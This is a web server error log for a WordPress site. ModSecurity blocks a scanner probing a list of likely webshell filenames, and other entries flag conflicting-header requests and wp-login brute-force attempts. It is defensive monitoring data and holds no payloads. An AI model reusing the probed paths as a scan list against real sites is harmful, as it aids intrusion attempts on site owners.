[Thu Apr 23 09:05:38.619657 2026] [:error] [pid 64998:tid 65026] [client 20.215.251.95:38709] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aelwYoV5EysYcTLjmwhMrAAAAdg"]
[Thu Apr 23 09:05:39.893491 2026] [:error] [pid 42971:tid 43001] [client 20.215.251.95:64008] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aelwYzEP2_5RswrH8bHInQAAAA8"]
[Thu Apr 23 09:05:40.704415 2026] [:error] [pid 64998:tid 65005] [client 20.215.251.95:40825] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aelwZIV5EysYcTLjmwhMsQAAAcM"]
[Thu Apr 23 09:05:41.512805 2026] [:error] [pid 42971:tid 42996] [client 20.215.251.95:37734] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aelwZTEP2_5RswrH8bHIngAAAAo"]
[Thu Apr 23 09:05:42.539499 2026] [:error] [pid 42971:tid 42999] [client 20.215.251.95:40816] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aelwZjEP2_5RswrH8bHIoAAAAA0"]
[Thu Apr 23 09:05:43.840311 2026] [:error] [pid 64998:tid 65013] [client 20.215.251.95:5857] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aelwZ4V5EysYcTLjmwhMxQAAAcs"]
[Thu Apr 23 09:05:44.603766 2026] [:error] [pid 64998:tid 65007] [client 20.215.251.95:37810] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aelwaIV5EysYcTLjmwhMygAAAcU"]
[Thu Apr 23 09:05:45.379319 2026] [:error] [pid 43083:tid 43106] [client 20.215.251.95:46492] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aelwaTC5hrvNXosL83L9ZwAAANU"]
[Thu Apr 23 09:05:46.233588 2026] [:error] [pid 64998:tid 65006] [client 20.215.251.95:47742] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aelwaoV5EysYcTLjmwhM0QAAAcQ"]
[Thu Apr 23 09:05:47.074502 2026] [:error] [pid 64998:tid 65018] [client 20.215.251.95:5871] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aelwa4V5EysYcTLjmwhM1AAAAdA"]
[Thu Apr 23 09:05:48.326065 2026] [:error] [pid 65000:tid 65039] [client 20.215.251.95:40798] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aelwbL6vRb9j6psK2ZbeIAAAAgY"]
[Thu Apr 23 09:05:51.083631 2026] [:error] [pid 65000:tid 65053] [client 20.215.251.95:55464] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aelwb76vRb9j6psK2ZbeKAAAAhQ"]
[Thu Apr 23 09:05:51.931479 2026] [:error] [pid 65000:tid 65038] [client 20.215.251.95:37735] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aelwb76vRb9j6psK2ZbeKwAAAgU"]
[Thu Apr 23 09:05:52.716509 2026] [:error] [pid 64998:tid 65009] [client 20.215.251.95:37740] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aelwcIV5EysYcTLjmwhM2wAAAcc"]
[Thu Apr 23 09:05:53.692440 2026] [:error] [pid 43083:tid 43106] [client 20.215.251.95:64013] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aelwcTC5hrvNXosL83L9dAAAANU"]
[Thu Apr 23 09:05:54.589323 2026] [:error] [pid 43083:tid 43095] [client 20.215.251.95:46519] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aelwcjC5hrvNXosL83L9eQAAAMo"]
[Thu Apr 23 09:05:55.529807 2026] [:error] [pid 25635:tid 25641] [client 20.215.251.95:55001] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aelwc8Rxv6UsgRGKB3LwIQAAAQI"]
[Thu Apr 23 09:05:56.412604 2026] [:error] [pid 25635:tid 25651] [client 20.215.251.95:56183] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aelwdMRxv6UsgRGKB3LwIgAAAQw"]
[Thu Apr 23 09:05:57.193644 2026] [:error] [pid 64998:tid 65008] [client 20.215.251.95:64053] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aelwdYV5EysYcTLjmwhM4wAAAcY"]
[Thu Apr 23 09:05:58.210828 2026] [:error] [pid 43083:tid 43106] [client 20.215.251.95:37632] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aelwdjC5hrvNXosL83L9hQAAANU"]
[Thu Apr 23 09:05:58.969472 2026] [:error] [pid 65000:tid 65043] [client 20.215.251.95:47739] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aelwdr6vRb9j6psK2ZbeNgAAAgo"]
[Thu Apr 23 09:05:59.673721 2026] [:error] [pid 64967:tid 64985] [client 20.215.251.95:38678] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aelwd4AV4GfOOdX8QzojygAAAZA"]
[Thu Apr 23 09:06:00.547279 2026] [:error] [pid 64998:tid 65021] [client 20.215.251.95:64027] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aelweIV5EysYcTLjmwhM6AAAAdM"]
[Thu Apr 23 09:06:01.426753 2026] [:error] [pid 59700:tid 59711] [client 20.215.251.95:42701] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aelweZXyGZJFeAIDWtl_ZwAAAUk"]
[Thu Apr 23 09:06:02.032157 2026] [:error] [pid 42972:tid 43040] [client 20.215.251.95:38702] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aelwesOAb-3sOknsk4c02wAAAFg"]
[Thu Apr 23 09:06:02.882708 2026] [:error] [pid 25635:tid 25643] [client 20.215.251.95:38694] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aelwesRxv6UsgRGKB3LwJQAAAQQ"]
[Thu Apr 23 09:06:03.981090 2026] [:error] [pid 65000:tid 65054] [client 20.215.251.95:42730] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aelwe76vRb9j6psK2ZbeOQAAAhU"]
[Thu Apr 23 09:06:04.878513 2026] [:error] [pid 42972:tid 43032] [client 20.215.251.95:37649] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aelwfMOAb-3sOknsk4c04AAAAFA"]
[Thu Apr 23 09:06:05.768157 2026] [:error] [pid 65000:tid 65056] [client 20.215.251.95:46495] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "aelwfb6vRb9j6psK2ZbePgAAAhc"]
[Thu Apr 23 09:06:08.058794 2026] [:error] [pid 42971:tid 43004] [client 20.215.251.95:37709] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "aelwgDEP2_5RswrH8bHIqwAAABI"]
[Thu Apr 23 09:06:09.727668 2026] [:error] [pid 64998:tid 65005] [client 20.215.251.95:47715] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "aelwgYV5EysYcTLjmwhNAgAAAcM"]
[Thu Apr 23 09:06:10.989881 2026] [:error] [pid 43083:tid 43088] [client 20.215.251.95:37850] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admlo.php"] [unique_id "aelwgjC5hrvNXosL83L9kQAAAMM"]
[Thu Apr 23 09:06:12.173849 2026] [:error] [pid 65000:tid 65040] [client 20.215.251.95:64050] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gcqoa.php"] [unique_id "aelwhL6vRb9j6psK2ZbeRAAAAgc"]
[Thu Apr 23 09:06:12.954758 2026] [:error] [pid 65000:tid 65047] [client 20.215.251.95:42711] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gcqoa.php"] [unique_id "aelwhL6vRb9j6psK2ZbeRgAAAg4"]
[Thu Apr 23 09:06:13.705049 2026] [:error] [pid 43083:tid 43087] [client 20.215.251.95:64037] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gcqoa.php"] [unique_id "aelwhTC5hrvNXosL83L9kwAAAMI"]
[Thu Apr 23 09:06:14.422932 2026] [:error] [pid 42972:tid 43036] [client 20.215.251.95:56164] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gcqoa.php"] [unique_id "aelwhsOAb-3sOknsk4c04wAAAFQ"]
[Thu Apr 23 09:06:15.161162 2026] [:error] [pid 42972:tid 43034] [client 20.215.251.95:50062] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aelwh8OAb-3sOknsk4c05QAAAFI"]
[Thu Apr 23 09:06:15.982862 2026] [:error] [pid 42971:tid 43006] [client 20.215.251.95:38688] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aelwhzEP2_5RswrH8bHIrgAAABQ"]
[Thu Apr 23 09:06:17.275504 2026] [:error] [pid 64998:tid 65022] [client 20.215.251.95:37733] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aelwiYV5EysYcTLjmwhNCQAAAdQ"]
[Thu Apr 23 09:06:18.148617 2026] [:error] [pid 65000:tid 65052] [client 20.215.251.95:37663] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aelwir6vRb9j6psK2ZbeWQAAAhM"]
[Thu Apr 23 09:06:19.762023 2026] [:error] [pid 42972:tid 43025] [client 20.215.251.95:43502] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aelwi8OAb-3sOknsk4c06QAAAEk"]
[Thu Apr 23 09:06:20.677783 2026] [:error] [pid 65000:tid 65050] [client 20.215.251.95:41206] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aelwjL6vRb9j6psK2ZbeYQAAAhE"]
[Thu Apr 23 09:06:22.290090 2026] [:error] [pid 64967:tid 64983] [client 20.215.251.95:55487] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aelwjoAV4GfOOdX8Qzoj1QAAAY4"]
[Thu Apr 23 09:15:29.232140 2026] [:error] [pid 64998:tid 65025] [client 43.130.57.46:38986] [client 43.130.57.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aelysYV5EysYcTLjmwhR2wAAAdc"]
[Thu Apr 23 09:53:08.143981 2026] [autoindex:error] [pid 25635:tid 25654] [client 91.230.225.197:50881] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 11:25:26.835736 2026] [:error] [pid 42973:tid 43055] [client 47.130.163.175:29803] [client 47.130.163.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.130.163.175, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aemRJm6I0QqmmmLTHE0nqwAAAIw"]
[Thu Apr 23 11:34:03.189233 2026] [:error] [pid 42972:tid 43026] [client 151.252.48.20:50094] [client 151.252.48.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.252.48.20, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aemTK8OAb-3sOknsk4dskwAAAEo"]
[Thu Apr 23 13:26:36.050198 2026] [:error] [pid 42973:tid 43062] [client 43.135.144.126:53756] [client 43.135.144.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aemtjG6I0QqmmmLTHE1tCgAAAJM"]
[Thu Apr 23 15:52:58.662833 2026] [:error] [pid 42973:tid 43047] [client 182.44.9.147:52623] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aenP2m6I0QqmmmLTHE26ywAAAIQ"]
[Thu Apr 23 16:10:56.563101 2026] [:error] [pid 43083:tid 43108] [client 43.130.106.206:47282] [client 43.130.106.206] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aenUEDC5hrvNXosL83JRvgAAANc"]
[Thu Apr 23 19:39:13.999847 2026] [:error] [pid 46953:tid 46979] [client 170.106.140.110:38106] [client 170.106.140.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeoE4UnlpdHh-P6wKbomcgAAAlY"]
[Thu Apr 23 20:15:01.037344 2026] [:error] [pid 46953:tid 46969] [client 158.158.100.100:16517] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aeoNRUnlpdHh-P6wKbotEAAAAk0"]
[Thu Apr 23 20:15:06.493135 2026] [:error] [pid 64998:tid 65013] [client 158.158.100.100:14744] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aeoNSoV5EysYcTLjmwhSpAAAAcs"]
[Thu Apr 23 20:15:08.812147 2026] [:error] [pid 42972:tid 43023] [client 158.158.100.100:23672] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aeoNTMOAb-3sOknsk4cdegAAAEc"]
[Thu Apr 23 20:15:12.269156 2026] [:error] [pid 64998:tid 65016] [client 158.158.100.100:16586] [client 158.158.100.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/doc.php"] [unique_id "aeoNUIV5EysYcTLjmwhSsQAAAc4"]
